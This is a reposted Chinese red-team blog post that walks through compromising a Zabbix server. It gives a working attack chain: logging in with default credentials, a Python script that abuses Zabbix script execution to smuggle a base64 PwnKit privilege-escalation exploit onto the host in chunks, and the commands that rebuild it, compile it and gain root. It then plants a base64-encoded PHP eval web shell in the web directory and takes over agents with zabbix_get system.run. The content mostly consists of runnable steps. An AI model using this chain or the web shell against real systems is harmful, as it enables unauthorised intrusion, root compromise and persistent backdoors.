实战-艰难的一次zabbix getshell

admin 2023年12月18日09:42:18评论27 views字数 2552阅读8分30秒阅读模式

前言

记录一下之前实战攻防遇到的一次zabbix获取shell的过程。

实战

开始收集资产,发现一处zabbix存在Admin/zabbix弱口令。

实战-艰难的一次zabbix getshell

平平无奇,添加执行脚本getshell,以下可以选择脚本执行在server或者agent上:

实战-艰难的一次zabbix getshell

选择其中的server或者某个agent执行刚才添加的脚本进行命令执行:

实战-艰难的一次zabbix getshell

到这里已经可以执行命令了,但是作为一个入口点,还是需要有一个稳定执行的shell或者代理,现在问题是server和agent都不能出网。不能通过远程下载的形式,下载再执行。

后面想通过zabbix web直接写入webshell,(这里大多数zabbix都是默认安全的的web目录为/usr/share/zabbix/,如果不是这个目录可以在zabbix的conf文件查看web配置):

实战-艰难的一次zabbix getshell

但是又遇到一个问题,当前权限为zabbix,直接echo显示权限不足:

实战-艰难的一次zabbix getshell

所以只能提权后再进行后续操作,这里操作刚好发现有pkexec:

实战-艰难的一次zabbix getshell

直接把需要编译的PwnKit.c文件base64之后,echo到tmp再decode再编译,但是又遇到一个限制script内容长度:

实战-艰难的一次zabbix getshell

实战-艰难的一次zabbix getshell

所以最后通过写了一个py自动发包不断echo到一个文件内容中,然后每次脚本更新后在host中的server执行一遍,对应的两个包为:

实战-艰难的一次zabbix getshell

实战-艰难的一次zabbix getshell

import string
import re
import time

import httpx

pk = """
xxxxxx
"""
def spl():
   pkdata = re.findall(r'.{100}',pk)
   print(pkdata)
   postdata(pkdata)


def postdata(pkdata):
   url = "http://xxxxx/zabbix.php"
   header = {"Cookie": "PHPSESSID=tpml18t36bg03bsadjqura4hff; zbx_sessionid=58fc6634281cfc38408db8ff012568f3",
             "Content-Type": "application/x-www-form-urlencoded",
             "Connection": "close"}

   url2 = "http://xxxxxx/zabbix.php?sid=408db8ff012568f3&action=popup.scriptexec"
   data2 = "hostid=10084&scriptid=63"

   for pk in pkdata:
       data = "sid=408db8ff012568f3&form_refresh=1&form=1&scriptid=63&name=server&type=0&execute_on=2&command=echo+%22kktest%22+%3E%3E+%2Ftmp%2F2.txt&commandipmi=&description=&usrgrpid=0&hgstype=0&host_access=2&action=script.update"
       data = data.replace('kktest',pk)
       print(data)
       res = httpx.post(url=url,data=data,headers=header,verify=False)
       time.sleep(0.2)
       res2 = httpx.post(url = url2,data=data2,headers=header,verify=False)
       if res2.status_code == 200:
           print("true")

if __name__ == '__main__':
   spl()

把base64的字符每百个分割写进txt中:

实战-艰难的一次zabbix getshell

把最后不足100个的也post进去,然后base64解码:

实战-艰难的一次zabbix getshell

这里通过上面的cat内容发现两个问题:

  • zabbix脚本echo的内容“+”会换成控制;

  • 因为是分段echo,所以需要消除换行符

这里通过sed命令对以上两个问题进行解决:

  • 消除换行符:sed ':t;N;s/n//;b t' /tmp/3.txt  >> /tmp/pksrc.txt

  • 空格换成+:sed -i 's/ /+/g' Input_File /tmp/pksrc.txt

之后进行解码:base64 -d /tmp/pksrc.txt > /tmp/pksrc.c

实战-艰难的一次zabbix getshell

然后进行编译gcc -shared /tmp/pksrc.c -o /tmp/pk -Wl,-e,entry -fPIC

实战-艰难的一次zabbix getshell

编译完成之后执行,这里注意需要cd到当前目录执行,否则加权限也不能执行:

实战-艰难的一次zabbix getshell

实战-艰难的一次zabbix getshell

root之后就比较简单,直接echo一个shell到zabbix的web目录就可以了:

cd /tmp/ ; ./pk "echo 'PD9waHAKZXZhbCgkX1BPU1RbInBhc3MiXSk7Cg==' >> /usr/share/zabbix/indel.php"
cd /tmp/ ; ./pk "cat /usr/share/zabbix/indel.php"
cd /tmp/ ; ./pk "base64 -d /usr/share/zabbix/indel.php > /usr/share/zabbix/indel.php"
cd /tmp/ ; ./pk "cat /usr/share/zabbix/indel.php"

实战-艰难的一次zabbix getshell

后利用

当然有了zabbix server的权限之后,我们除了在web界面添加脚本执行之外,还可以通过zabbix_get命令在server上对agent进行信息监控和接管:

比如:zabbix_get -s 127.0.0.1 -p 10050 -k 'system.uname'

实战-艰难的一次zabbix getshell

实战-艰难的一次zabbix getshell

当然在agent的conf文件中如果开启了EnableRemoteCommands这个参数也可以通过zabbix_get命令进行命令执行:zabbix_get -s ip -p 10050 -k 'system.run[whoami]'

参考

https://paper.seebug.org/1697/

https://github.com/ly4k/PwnKit


原文始发于微信公众号(灼剑安全团队):实战-艰难的一次zabbix getshell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月18日09:42:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实战-艰难的一次zabbix getshellhttps://cn-sec.com/archives/2308969.html

发表评论

匿名网友 填写信息